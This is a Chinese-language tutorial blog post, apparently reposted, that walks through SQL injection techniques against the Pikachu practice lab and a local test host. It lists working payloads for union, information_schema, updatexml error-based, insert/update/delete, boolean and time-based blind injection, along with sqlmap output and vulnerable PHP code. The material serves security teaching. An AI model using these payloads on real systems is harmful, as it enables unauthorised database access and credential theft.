OWASP top10--SQL注入(二)

news2024/10/6 22:27:47

目录

06:SQL注入提交方式

6.1、get提交

6.2、post提交

6.3、cookie提交

6.4、HTTP Header头提交

07:注入攻击支持类型

7.1、union注入:

7.1.1、union操作符一般与order by语句配合使用

7.1.2、information_schema注入

7.2、基于函数报错注入(insert、update、dalete)

7.2.1、insert注入

 7.2.2、update注入

7.2.3、dalete注入

7.3、盲注

7.3.1、基于布尔型SQL盲注 

 7.3.2、基于时间型SQL盲注

7.4、堆叠注入

7.5、宽字节注入(特殊)


06:SQL注入提交方式

6.1、get提交

地址栏可以看见参数

6.2、post提交

通过burp抓包(参数在请求体里)

6.3、cookie提交

通过burp抓包(参数写到cookie里)

6.4、HTTP Header头提交

请求头为:Referer、Accept、User-Agent、Cookie等

User-Agent注入

打开pikachu靶场环境;选择http头注入:

http://10.0.0.101:90/pikachu/vul/sqli/sqli_header/sqli_header.php

输入账户admin密码123456--用bp抓包拦截找到登陆地GET请求--发到bp重发器(Repeater)

 请求包内容:

GET /pikachu/vul/sqli/sqli_header/sqli_header.php HTTP/1.1
Host: 10.0.0.101:90
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 Edg/122.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://10.0.0.101:90/pikachu/vul/sqli/sqli_header/sqli_header_login.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: ant[uname]=admin; ant[pw]=10470c3b4b1fed12c3baac014be15fac67c6e815; 4unT_2132_lastvisit=1715954790; 4unT_2132_ulastactivity=bbe7dShKgYKRaBrRbwkvKSunwF6na%2B4Ow0kVNoUVHsSdR0D2Ii4f; 4unT_2132_visitedfid=2; 4unT_2132_smile=1D1; sitekeyword=%3Ca+href%3D%27http%3A%2F%2Fx%2E5vshop%2Ecom%27%3E5vShop%C8%FD%BA%CF%D2%BB%B5%E7%C9%CC%CF%B5%CD%B3%C9%CF%CA%D0%21%21%3C%2Fa%3E%26nbsp%3B%26nbsp%3B%3Ca+href%3D%27show%2Easp%3Fpkid%3D4929%27%3E%C3%C9%CC%D8%CB%B9%3C%2Fa%3E%26nbsp%3B%26nbsp%3B%3Ca+href%3D%27productlist%2Easp%3Fkind%3D00030008%27%3E%D6%D0%B5%CD%B6%CB%C3%C0%BE%C6%3C%2Fa%3E%26nbsp%3B%26nbsp%3B%26nbsp%3B; PHPSESSID=8a0a2bc60593dcc8a0e5cc4c8bbda840
Connection: close

漏洞探测:去除User-Agent:内容,然后输入' 运行后观察MYSQL语法报错然后发现存在SQL注入漏洞。

'

在User-Agent输入payload :(尝试获取数据库的信息)

Mozilla' or updatexml(1,concat(0x7e,database ()),0) or '

 成功sql注入:

查看源代码:

//直接获取前端过来的头信息,没人任何处理,留下安全隐患
$remoteipadd=$_SERVER['REMOTE_ADDR'];
$useragent=$_SERVER['HTTP_USER_AGENT'];
$httpaccept=$_SERVER['HTTP_ACCEPT'];
$remoteport=$_SERVER['REMOTE_PORT'];

//这里把http的头信息存到数据库里面去了,但是存进去之前没有进行转义,导致SQL注入漏洞
$query="insert httpinfo(userid,ipaddress,useragent,httpaccept,remoteport) values('$is_login_id','$remoteipadd','$useragent','$httpaccept','$remoteport')";
$result=execute($link, $query);

 注:发现User-Agent头未做过滤,直接带入数据库,产生SQL注入漏洞。


07:注入攻击支持类型

7.1、union注入:

7.1.1、union操作符一般与order by语句配合使用

union操作符一般与order by语句配合使用(id=1 order by 5 测是否有5个字段)
如:
a' order by 4#%    --判断主查询的字段,报错没有4个字段
a' order by 3#%    --判断主查询的字段,没报错有3个字段
a' union select database(),user(),version()#%  
--通过union select查询:
--database(): MySQL函数,返回当前数据库的名称。
--user(): 获取当前连接的用户名。
--version(): 显示MySQL服务器的版本信息。

注入方式查询:

sqlmap工具、mysql靶场环境

http://10.0.0.101:90/mysql/sql.php?id=1

注入方式查询方法:sqlmap.py(cmd运行程序,需python2.7.9)
sqlmap.py -u http://10.0.0.101:90/mysql/sql.php?id=1
输出如下:
---
Place: GET    --提交方式
Parameter: id     --注入点
    Type: boolean-based blind    --布尔型注入
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1 AND 7911=7911   --注入方式
(注入方式即http://10.0.0.101:90/mysql/sql.php?id=1 AND 7911=7911)

    Type: UNION query         --联合查询型
    Title: MySQL UNION query (NULL) - 4 columns
    Payload: id=1 UNION ALL SELECT CONCAT(0x3a6773753a,0x7a59485655536e69784f,0x3a65656a3a),NULL,NULL,NULL#  

    Type: AND/OR time-based blind       --时间型注入
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: id=1 AND SLEEP(5)     --注入方式
---

使用sqlmap工具,原查询内容: 

C:\lan\sqlmap>sqlmap.py -u http://10.0.0.101:90/mysql/sql.php?id=1

    sqlmap/1.0-dev - automatic SQL injection and database takeover tool
    http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 20:05:01

[20:05:01] [INFO] resuming back-end DBMS 'mysql'
[20:05:01] [INFO] testing connection to the target URL
[20:05:01] [INFO] heuristics detected web page charset 'GB2312'
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: id
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1 AND 7911=7911

    Type: UNION query
    Title: MySQL UNION query (NULL) - 4 columns
    Payload: id=1 UNION ALL SELECT CONCAT(0x3a6773753a,0x7a59485655536e69784f,0x3a65656a3a),NULL,NULL,NULL#

    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: id=1 AND SLEEP(5)
---
[20:05:01] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: Apache 2.4.23, PHP 5.2.17
back-end DBMS: MySQL 5.0.11
[20:05:01] [INFO] fetched data logged to text files under 'C:\lan\sqlmap\output\10.0.0.101'

[*] shutting down at 20:05:01


C:\lan\sqlmap>

 union操作符用于合并两个或多个SQL语句集合起来,得到联合的查询结果 

如:打开pikachu靶场,输入以下内容:

v' union select username,pw from member where id=1#%

报错: 

 因为查询的字段不能超过主查询的字段,这个时候可以在SQL语句后面加order by进行排序,通过这个办法可以判断主查询的字段。

 输入a' order by 4#%,反馈如图:

 输入a' order by 3#%,反馈如图: 

通过这个简单的办法找到主查询一共有三个字段。之后我们来使用union来做一个SQL语句的拼接。输入构造好的语句:

a' union select database(),user(),version()#%  

成功读取数据库内容:

例2:

http://10.0.0.101:90/mysql/sql.php?id=1 union select 1,user(),3,4
输出:
用户ID: 1
用户名: root@localhost    --user()的输出内容
用户密码: 3
用户邮箱: 4 

 

 


7.1.2、information_schema注入

information_schema数据库是MySQL系统自带的数据库。其中保存着关于MySQL服务器所维护的所有其他数据库的信息


通过information_schema注入,我们可以将整个数据库内容全部窃取出来, 使用order by来判断查询的字段。

information_schema库-TABLES 表-TABLE_SCHEMA为pikaqiu的行

 找出数据库的名称,输入 vince' union select database(),user(),3#% 得到反馈,判断数据库名称为pikachu。
--vince是表名或用户名的一部分。

 获取pikachu数据库的表名,输入

u' union select table_schema ,table_name,3 from information_schema.tables where table_schema='pikachu'#

获取pikachu数据库的字段名,输入: k' union select table_name,column_name,3 from information_schema.columns where table_name='users'#% 

 最后获取字段值的内容,输入:kobe'union select username ,password,3 from users#%

输出值如:

username:admin
uid:e10adc3949ba59abbe56e057f20f883e    --密码可以通过cmd5在线解密;为123456
email is: 3


7.2、基于函数报错注入(insert、update、dalete)

updatexml()       --函数是MYSQL对XML文档数据进行查询和修改的XPATH函数.
extractvalue()    --函数也是MYSQL对XML文档数据进行查询的XPATH函数.
floor()           --MYSQL中用来取整的函数.

1、爆数据库版本信息
k' and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1) #
2、爆数据库当前用户
k' and  updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)#  
3、爆数据库
k' and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1) #
4、爆表
k'and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu')),0)#
但是反馈回的错误表示只能显示一行,所以采用limit来一行一行显示:
k' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu'limit 0,1)),0)#
5、爆字段
k' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users'limit 2,1)),0)#
6、爆字段内容
k' and  updatexml(1,concat(0x7e,(select password from users limit 0,1)),0)# 

7.2.1、insert注入

insert注入,就是前端注册的信息最终会被后台通过insert这个操作插入数据库,后台在接受前端的注册数据时没有做防SQL注入的处理,导致前端的输入可以直接拼接SQL到后端的insert相关内容中,导致了insert注入。
----
进入网站注册页面,填写网站注册相关信息,通过Burp抓包在用户名输入相关payload
格式如下:oldboy'or updatexml(1,concat(0x7e,(命令)),0) or'
1. 爆表名
oldboy'or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu' limit 0,1)),0) or'
2. 爆列名
' or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users'limit 2,1)),0) or'
3. 爆内容
' or updatexml(1,concat(0x7e,(select password from users limit 0,1)),0) or' 等同
' or updatexml(1,concat(0x7e,(select password from users limit 0,1)),0) or '1'='1''

 7.2.2、update注入

与insert注入的方法大体相同,区别在于update用于用户登陆端,insert用于用户注册端。
---
一般登录网站前台或后台更新用户信息的地方,填写用户需要修改相关信息,通过Burp抓包在用户名输入相关payload,格式如下:' or updatexml(0,concat(0x7e,(database())),0) or'

7.2.3、dalete注入

一般应用于前后端发贴、留言、用户等相关删除操作,点击删除按钮时可通过Brup Suite抓包,对数据包相关delete参数进行注入,注入方法如下:
delete from message where id=56 or updatexml(2,concat(0x7e,(database())),0) 


7.3、盲注

7.3.1、基于布尔型SQL盲注 

基于布尔型SQL盲注
步骤:
采用sql语句中and的方法,返回正确或错误来构造,按照之前的思路构造一个SQL拼接:
vince' and extractvalue(0,concat(0x7e,version()))#
--根据返回的信息判断此思路不再适用。


select ascii(substr(database(),1,1))>xx;
--过对比ascii码的长度,判断出数据库表名的第一个字符。
--substr()函数;substr(string,start,length);string(必需)规定要返回其中一部分的字符串。start(必需)规定在字符串的何处开始。length(可选)规定被返回字符串的长度。
select length(database())<xx
--同样可以使用length来判断表名的长度,判断出长度后就能多次输入payload来爆破出每一个表名的字符。


vince' and ascii(substr(database(),1,1))=112#
--通过这个方法,就能得到后台数据库的名称的第一个字符的ascii码。可以使用sqlmap等工具来增加盲注的效率。
--substr(database(),1,1): 这个函数用于提取database()函数返回值的第一个字符,其中database()函数通常用来获取当前使用的数据库名称。
--ascii(): 此函数用于将字符转换为其ASCII码。因此,ascii(substr(database(),1,1)) 是获取数据库名称首字母的ASCII码。
---'vince': 这是一个字符串字面量。
--=112: 这是一个比较操作符,用于判断数据库名称首字母的ASCII码是否等于112(小写字母'p'的ASCII码)。

--# 符号:在某些SQL环境中,这个符号用于注释掉一行剩余的部分。

 7.3.2、基于时间型SQL盲注

基于时间型SQL盲注
2种方法:
vince' and sleep(x)#
--vince' and sleep(20)#
--sleep(x): 这是一个典型的延时函数调用,在MySQL数据库中常见。sleep(x)会使数据库服务器暂停执行接下来的操作x秒。

WAITFOR DELAY '0:0:5'--
--WAITFOR DELAY '0:0:5': 这是SQL Server中的一个命令,用于使当前的数据库连接等待指定的时间。在这个例子中,它让数据库等待5秒钟(0:0:5表示0小时0分钟5秒)。攻击者利用此命令来实现与上述sleep(x)类似的目的,即验证SQL注入漏洞的存在,并通过观察响应延迟来确认。
-- [--:这是SQL Server中的单行注释符号。跟在它后面的所有内容都将被视为注释,不再执行。]

 


7.4、堆叠注入

参考:https://www.cnblogs.com/0nth3way/articles/7128189.html


7.5、宽字节注入(特殊)

当我们把php.ini文件里面的magic_quotes_gqc(魔术引号)参数设为ON时,所有的'(单引号),"(双引号),\(反斜杠)和null字符都会被自动加上一个反斜杠进行转义。还有很多函数有类似的作用如:addslashes()、mysql_escape_string()、mysql_real_escape_string()等,另外还有parse_str()后的变量也受magic_quotes_gpc的影响。

 

注入流程:

如http://10.0.0.101/custom.asp?id=1
查找注入点:
存在参数id=1,可能与数据库交互,可能存在漏洞.
手工测试:尝试在id后加入单引号(')或双连字符(--),观察页面反馈是否异常,如错误信息透露了数据库结构或查询失败。

sqlmp工具跑注入

 打开网站,寻找带有参数的页面

尝试注入点  

方式一:’
方式二:and 1=1        and 1=2

 单引号报错

 and 1=2报错


声明:

  • 此文章只做技术研究,谨遵守国家相关法律法规,请勿用于违法用途,如果您对文章内容有疑问,可以尝试留言私信,如有侵权请联系小编处理。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1698834.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【云原生--K8S】K8S python接口研究

文章目录 前言一、搭建ubuntu运行环境1.运行ubuntu容器2.拷贝kubeconfig文件二、python程序获取k8s信息1.获取node信息2.获取svc信息3.常用kubernetes API总结前言 在前面的文章中我们都是通过kubectl命令行来访问操作K8S,但是在实际应用中可能需要提供更方便操作的图形化界面…

数据结构和算法|排序算法系列(二)|冒泡排序

首先需要你对排序算法的评价维度和一个理想排序算法应该是什么样的有一个基本的认知&#xff1a; 《Hello算法之排序算法》 主要内容来自&#xff1a;Hello算法11.3 冒泡排序 我觉得冒泡排序非常有意思&#xff0c;也非常简单&#xff0c;就是不停地交换相邻的元素即可&#…

c语言IO

前言 老是忘记c语言IO操作&#xff0c;故写个文章记录一下 打开文件 fopen FILE *fopen(const char *path, const char *mode);mode 返回值 如果文件成功打开&#xff0c;fopen 返回一个指向 FILE 结构的指针。如果文件打开失败&#xff08;例如&#xff0c;因为文件不存…

SERVER ——查询(二)

目录 5. top 6. null 7. order by 8. 模糊查询&#xff1a; 9. 聚合函数 5. top top查询&#xff1a;查询表的前几行&#xff1b;下面是代码演示&#xff1a; --top&#xff08;前面的几个记录&#xff09; select top 2 * from emp; --查询表的前两列 select top 20 percent *…

解密论文评审过程:SCI论文是匿名送审的吗?

我是娜姐 迪娜学姐 &#xff0c;一个SCI医学期刊编辑&#xff0c;探索用AI工具提效论文写作和发表。 前几天有位学员问我&#xff0c;审稿人能看见我论文的作者和单位信息吗&#xff1f;应该是双方都匿名才更公平啊。 同行评议&#xff0c;在不同的期刊操作还真不一样。有双方…

python数据分析——数据可视化(图形绘制)

数据可视化&#xff08;图形绘制基础&#xff09; 前言一、图形绘制基础Matplotlib简介使用过程sin函数示例 二、常用图形绘制折线图的绘制plot示例 散点图的绘制scatter()示例 柱状图的绘制bar示例 箱型图绘制plot.box示例 饼状图的绘制pie示例 三、图形绘制的组合情况多个折线…

代码随想录|Day55|动态规划 part15|● 392.判断子序列 ● 115.不同的子序列

392.判断子序列 class Solution: def isSubsequence(self, s: str, t: str) -> bool: dp [[0] * (len(t) 1) for _ in range(len(s) 1)] for i in range(1, len(s) 1): for j in range(1, len(t) 1): if s[i - 1] t[j - 1]: dp[i][j] dp[i - 1][j - 1] 1 else: dp[i…

3、xss-labs之lecel3

1、测试 开始页面&#xff0c;传入<script>alert(1)</script>&#xff0c;不出意外没有弹窗 2、按住CTRLU&#xff0c;查看返回的前端代码 3、看后端源码 htmlspecialchars() 是一个 PHP 函数&#xff0c;用于将特殊字符转换为 HTML 实体。比如 & &#xff08…

访问元组元素

自学python如何成为大佬(目录):https://blog.csdn.net/weixin_67859959/article/details/139049996?spm1001.2014.3001.5501 在Python中&#xff0c;如果想将元组的内容输出也比较简单&#xff0c;可以直接使用print()函数即可。例如&#xff0c;要想打印上面元组中的untitle…

Java核心:注解处理器

Java提供了一个javac -processor命令支持处理标注有特定注解的类&#xff0c;来生成新的源文件&#xff0c;并对新生成的源文件重复执行。执行的命令大概是这样的: javac -XprintRounds -processor com.keyniu.anno.processor.ToStringProcessor com.keyniu.anno.processor.Po…

LeetCode热题100—链表(一)

160.相交链表 题目 给你两个单链表的头节点 headA 和 headB &#xff0c;请你找出并返回两个单链表相交的起始节点。如果两个链表不存在相交节点&#xff0c;返回 null 。 图示两个链表在节点 c1 开始相交&#xff1a; 题目数据 保证 整个链式结构中不存在环。 注意&#x…

头歌结构化分析方法-数据流图

第1关&#xff1a;数据流图-画出外部实体 第2关&#xff1a;数据流图-画出加工 第3关&#xff1a;数据流图-画出数据存储 第4关&#xff1a;数据流图-画出数据流 第5关&#xff1a;数据流图-机票预定系统

奥维互动地图奥维彩色图源

彩色图源(不足&#xff0c;更精细放大) 等位线3D模式 中科星 谷歌2024(不足没以前高清)

神经网络与深度学习-简要入门

参考引用 神经网络与深度学习 1. 绪论 从根源来讲&#xff0c;深度学习是机器学习的一个分支&#xff0c;是指一类问题以及解决这类问题的方法 深度学习问题是一个机器学习问题&#xff0c;指从有限样例中通过算法总结出一般性的规律&#xff0c;并可以应用到新的未知数据上深…

vi和vim编辑器

目录 1 vi和vim的基本介绍 2 vi和vim常用的三种模式 1&#xff09;正常模式 2&#xff09;插入模式 3&#xff09;命令行模式 3 vim快捷键 1&#xff09;普通模式下&#xff1a; 2&#xff09;输入模式 3&#xff09;命令行模式 4&#xff09;可视模式 1 vi和vim的基本…

【机器学习与大模型】开源大模型和闭源大模型:技术发展与社会责任的平衡点

目录 &#x1f4a1;引言✈️✈️一&#xff0c;开源大模型的优势与劣势✈️✈️1.1 优势&#xff1a;✈️✈️1.2 挑战和劣势&#xff1a; &#x1f680;&#x1f680;2. 闭源大模型的优势与劣势&#x1f680;&#x1f680;2.1 优势&#xff1a;&#x1f680;&#x1f680;2.2 …

代码随想录算法训练营第四天| 24. 两两交换链表中的节点、19.删除链表的倒数第N个节点 、 面试题 02.07. 链表相交、142.环形链表II

24. 两两交换链表中的节点 题目链接&#xff1a; 24. 两两交换链表中的节点 文档讲解&#xff1a;代码随想录 状态&#xff1a;没做出来&#xff0c;没有正确更新头节点&#xff0c;因为head和cur共享引用&#xff0c;会随着cur的移动&#xff0c;丢失之前存放的节点 错误代码&…

6.定时器分时复用测量占空比

1.CUBEMAX配置 测量PA6&#xff0c;PA7输出的占空比&#xff0c;只需要把主要的配置&#xff0c;配置为A6口就行&#xff0c;A7口黄色表示配置不正确&#xff0c;不用管。 2.软件代码 TIME.c中找到TIM3的初始化&#xff0c;在后面初始化A7口 void MX_TIM3_Init_PA7(void) {/*…

JVM之【类加载机制】

一、类加载过程 1. 加载&#xff08;Loading&#xff09; 工作内容&#xff1a; 通过类的全限定名来获取定义此类的二进制字节流&#xff1a; JVM首先会调用类加载器的findClass方法来找到类文件的路径&#xff0c;通常从文件系统、JAR包、网络、数据库等来源获取类文件。 将…

揭秘Markdown:轻松掌握基础语法,让你的写作更高效、优雅!

文章目录 前言1.标题1.1 使用 和 - 标记一级和二级标题1.2 使用 # 号标记 2.段落格式2.1 字体2.2 分割线2.3 删除线2.4 下划线2.5 脚注 3.列表3.1 无序列表3.2 有序列表3.3 列表嵌套 4.区块4.1 区块中使用列表4.2 列表中使用区块 5.代码代码区块 6.链接7.图片8.表格9.高级技巧…